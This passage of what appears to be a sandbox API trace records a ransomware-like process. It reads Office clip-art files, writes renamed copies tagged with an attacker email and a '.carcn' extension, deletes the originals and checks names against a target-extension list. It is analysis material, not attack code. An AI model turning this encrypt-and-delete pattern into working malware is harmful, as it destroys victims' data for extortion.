lpBuffer=0x3617020*, lpNumberOfBytesRead=0x2bdfecc*=0xd58, lpOverlapped=0x0) returned 1 [0262.546] WriteFile (in: hFile=0x554, lpBuffer=0x3617020*, nNumberOfBytesToWrite=0xd60, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesWritten=0x2bdfc94*=0xd60, lpOverlapped=0x0) returned 1 [0262.547] ReadFile (in: hFile=0x550, lpBuffer=0x3617020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesRead=0x2bdfecc*=0x0, lpOverlapped=0x0) returned 1 [0262.547] WriteFile (in: hFile=0x554, lpBuffer=0x3617020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesWritten=0x2bdfc94*=0xec, lpOverlapped=0x0) returned 1 [0262.547] SetEndOfFile (hFile=0x554) returned 1 [0262.548] CloseHandle (hObject=0x554) returned 1 [0262.549] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0262.549] SetEndOfFile (hFile=0x550) returned 1 [0262.868] CloseHandle (hObject=0x550) returned 1 [0262.868] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0262.868] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04134_.wmf")) returned 1 [0262.869] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 68 [0262.869] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 68 [0262.869] lstrlenW (lpString=".doc") returned 4 [0262.869] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0262.869] lstrlenW (lpString=".docx") returned 5 [0262.869] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0262.870] lstrlenW (lpString=".pdf") returned 4 [0262.870] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0262.870] lstrlenW (lpString=".xls") returned 4 [0262.870] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0262.870] lstrlenW (lpString=".xlsx") returned 5 [0262.870] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0262.870] lstrlenW (lpString=".ppt") returned 4 [0262.870] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0262.870] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 68 [0262.870] lstrlenW (lpString=".zip") returned 4 [0262.870] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0262.870] lstrlenW (lpString=".rar") returned 4 [0262.870] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0262.870] lstrlenW (lpString=".bz2") returned 4 [0262.870] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0262.870] lstrlenW (lpString=".7z") returned 3 [0262.870] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0262.870] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 68 [0262.870] lstrlenW (lpString=".dbf") returned 4 [0262.870] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0262.870] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 68 [0262.870] lstrlenW (lpString=".1cd") returned 4 [0262.870] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0262.870] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 68 [0262.870] lstrlenW (lpString=".jpg") returned 4 [0262.870] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0262.871] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 68 [0262.871] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 68 [0262.871] lstrlenW (lpString=".doc") returned 4 [0262.871] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0262.871] lstrlenW (lpString=".docx") returned 5 [0262.871] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0262.871] lstrlenW (lpString=".pdf") returned 4 [0262.871] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0262.871] lstrlenW (lpString=".xls") returned 4 [0262.871] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0262.871] lstrlenW (lpString=".xlsx") returned 5 [0262.871] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0262.871] lstrlenW (lpString=".ppt") returned 4 [0262.871] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0262.871] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 68 [0262.871] lstrlenW (lpString=".zip") returned 4 [0262.871] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0262.871] lstrlenW (lpString=".rar") returned 4 [0262.871] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0262.871] lstrlenW (lpString=".bz2") returned 4 [0262.871] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0262.871] lstrlenW (lpString=".7z") returned 3 [0262.871] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0262.871] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 68 [0262.871] lstrlenW (lpString=".dbf") returned 4 [0262.871] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0262.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 68 [0262.872] lstrlenW (lpString=".1cd") returned 4 [0262.872] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0262.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 68 [0262.872] lstrlenW (lpString=".jpg") returned 4 [0262.872] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0262.872] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0262.872] lstrlenW (lpString="AN04225_.WMF") returned 12 [0262.872] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04225_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0262.873] GetFileSizeEx (in: hFile=0x550, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=8492) returned 1 [0262.873] CloseHandle (hObject=0x550) returned 1 [0262.873] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04225_.wmf")) returned 0x220 [0262.873] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04225_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0262.873] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04225_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0262.874] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0262.874] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0262.874] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04225_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0262.875] GetLastError () returned 0x0 [0262.875] ReadFile (in: hFile=0x550, lpBuffer=0x3617020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesRead=0x2bdfecc*=0x212c, lpOverlapped=0x0) returned 1 [0262.877] WriteFile (in: hFile=0x548, lpBuffer=0x3617020*, nNumberOfBytesToWrite=0x2130, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesWritten=0x2bdfc94*=0x2130, lpOverlapped=0x0) returned 1 [0262.878] ReadFile (in: hFile=0x550, lpBuffer=0x3617020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesRead=0x2bdfecc*=0x0, lpOverlapped=0x0) returned 1 [0262.878] WriteFile (in: hFile=0x548, lpBuffer=0x3617020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesWritten=0x2bdfc94*=0xec, lpOverlapped=0x0) returned 1 [0262.878] SetEndOfFile (hFile=0x548) returned 1 [0262.878] CloseHandle (hObject=0x548) returned 1 [0262.880] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0262.880] SetEndOfFile (hFile=0x550) returned 1 [0262.883] CloseHandle (hObject=0x550) returned 1 [0262.883] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0262.884] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04225_.wmf")) returned 1 [0262.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 68 [0262.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 68 [0262.885] lstrlenW (lpString=".doc") returned 4 [0262.885] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0262.885] lstrlenW (lpString=".docx") returned 5 [0262.885] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0262.885] lstrlenW (lpString=".pdf") returned 4 [0262.885] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0262.885] lstrlenW (lpString=".xls") returned 4 [0262.886] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0262.886] lstrlenW (lpString=".xlsx") returned 5 [0262.886] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0262.886] lstrlenW (lpString=".ppt") returned 4 [0262.886] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0262.886] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 68 [0262.886] lstrlenW (lpString=".zip") returned 4 [0262.886] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0262.886] lstrlenW (lpString=".rar") returned 4 [0262.886] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0262.886] lstrlenW (lpString=".bz2") returned 4 [0262.886] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0262.886] lstrlenW (lpString=".7z") returned 3 [0262.886] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0262.886] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 68 [0262.886] lstrlenW (lpString=".dbf") returned 4 [0262.886] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0262.886] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 68 [0262.886] lstrlenW (lpString=".1cd") returned 4 [0262.886] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0262.886] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 68 [0262.886] lstrlenW (lpString=".jpg") returned 4 [0262.886] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0262.886] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 68 [0262.886] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 68 [0262.886] lstrlenW (lpString=".doc") returned 4 [0262.887] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0262.887] lstrlenW (lpString=".docx") returned 5 [0262.887] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0262.887] lstrlenW (lpString=".pdf") returned 4 [0262.887] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0262.887] lstrlenW (lpString=".xls") returned 4 [0262.887] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0262.887] lstrlenW (lpString=".xlsx") returned 5 [0262.887] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0262.887] lstrlenW (lpString=".ppt") returned 4 [0262.887] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0262.887] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 68 [0262.887] lstrlenW (lpString=".zip") returned 4 [0262.887] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0262.887] lstrlenW (lpString=".rar") returned 4 [0262.887] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0262.887] lstrlenW (lpString=".bz2") returned 4 [0262.887] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0262.887] lstrlenW (lpString=".7z") returned 3 [0262.887] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0262.887] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 68 [0262.887] lstrlenW (lpString=".dbf") returned 4 [0262.887] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0262.887] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 68 [0262.887] lstrlenW (lpString=".1cd") returned 4 [0262.887] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0262.887] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 68 [0262.888] lstrlenW (lpString=".jpg") returned 4 [0262.888] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0262.888] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0262.888] lstrlenW (lpString="AN04235_.WMF") returned 12 [0262.888] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04235_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0262.889] GetFileSizeEx (in: hFile=0x550, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=7804) returned 1 [0262.889] CloseHandle (hObject=0x550) returned 1 [0262.889] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04235_.wmf")) returned 0x220 [0262.890] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04235_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0262.890] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04235_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0262.890] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0262.890] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0262.890] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04235_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0262.891] GetLastError () returned 0x0 [0262.891] ReadFile (in: hFile=0x550, lpBuffer=0x3617020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesRead=0x2bdfecc*=0x1e7c, lpOverlapped=0x0) returned 1 [0262.943] WriteFile (in: hFile=0x548, lpBuffer=0x3617020*, nNumberOfBytesToWrite=0x1e80, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesWritten=0x2bdfc94*=0x1e80, lpOverlapped=0x0) returned 1 [0262.946] ReadFile (in: hFile=0x550, lpBuffer=0x3617020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesRead=0x2bdfecc*=0x0, lpOverlapped=0x0) returned 1 [0262.946] WriteFile (in: hFile=0x548, lpBuffer=0x3617020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesWritten=0x2bdfc94*=0xec, lpOverlapped=0x0) returned 1 [0262.946] SetEndOfFile (hFile=0x548) returned 1 [0262.951] CloseHandle (hObject=0x548) returned 1 [0262.958] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0262.958] SetEndOfFile (hFile=0x550) returned 1 [0262.961] CloseHandle (hObject=0x550) returned 1 [0262.962] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0262.962] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04235_.wmf")) returned 1 [0262.963] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 68 [0262.963] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 68 [0262.963] lstrlenW (lpString=".doc") returned 4 [0262.963] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0262.963] lstrlenW (lpString=".docx") returned 5 [0262.963] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0262.963] lstrlenW (lpString=".pdf") returned 4 [0262.963] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0262.963] lstrlenW (lpString=".xls") returned 4 [0262.963] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0262.963] lstrlenW (lpString=".xlsx") returned 5 [0262.963] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0262.963] lstrlenW (lpString=".ppt") returned 4 [0262.963] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0262.963] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 68 [0262.963] lstrlenW (lpString=".zip") returned 4 [0262.963] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0262.964] lstrlenW (lpString=".rar") returned 4 [0262.964] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0262.964] lstrlenW (lpString=".bz2") returned 4 [0262.964] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0262.964] lstrlenW (lpString=".7z") returned 3 [0262.964] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0262.964] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 68 [0262.964] lstrlenW (lpString=".dbf") returned 4 [0262.964] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0262.964] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 68 [0262.964] lstrlenW (lpString=".1cd") returned 4 [0262.964] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0262.964] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 68 [0262.964] lstrlenW (lpString=".jpg") returned 4 [0262.964] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0262.964] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 68 [0262.964] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 68 [0262.964] lstrlenW (lpString=".doc") returned 4 [0262.964] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0262.964] lstrlenW (lpString=".docx") returned 5 [0262.964] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0262.964] lstrlenW (lpString=".pdf") returned 4 [0262.964] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0262.964] lstrlenW (lpString=".xls") returned 4 [0262.965] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0262.965] lstrlenW (lpString=".xlsx") returned 5 [0262.965] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0262.965] lstrlenW (lpString=".ppt") returned 4 [0262.965] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0262.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 68 [0262.965] lstrlenW (lpString=".zip") returned 4 [0262.965] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0262.965] lstrlenW (lpString=".rar") returned 4 [0262.965] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0262.965] lstrlenW (lpString=".bz2") returned 4 [0262.965] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0262.965] lstrlenW (lpString=".7z") returned 3 [0262.965] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0262.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 68 [0262.965] lstrlenW (lpString=".dbf") returned 4 [0262.965] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0262.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 68 [0262.965] lstrlenW (lpString=".1cd") returned 4 [0262.965] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0262.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 68 [0262.965] lstrlenW (lpString=".jpg") returned 4 [0262.965] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0262.966] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0262.966] lstrlenW (lpString="AN04269_.WMF") returned 12 [0262.966] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04269_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0262.966] GetFileSizeEx (in: hFile=0x550, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=2016) returned 1 [0262.967] CloseHandle (hObject=0x550) returned 1 [0262.967] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04269_.wmf")) returned 0x220 [0262.967] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04269_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0262.967] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04269_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0262.967] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0262.967] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0262.968] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04269_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558 [0262.968] GetLastError () returned 0x0 [0262.968] ReadFile (in: hFile=0x550, lpBuffer=0x3617020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesRead=0x2bdfecc*=0x7e0, lpOverlapped=0x0) returned 1 [0263.037] WriteFile (in: hFile=0x558, lpBuffer=0x3617020*, nNumberOfBytesToWrite=0x7f0, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesWritten=0x2bdfc94*=0x7f0, lpOverlapped=0x0) returned 1 [0263.038] ReadFile (in: hFile=0x550, lpBuffer=0x3617020, 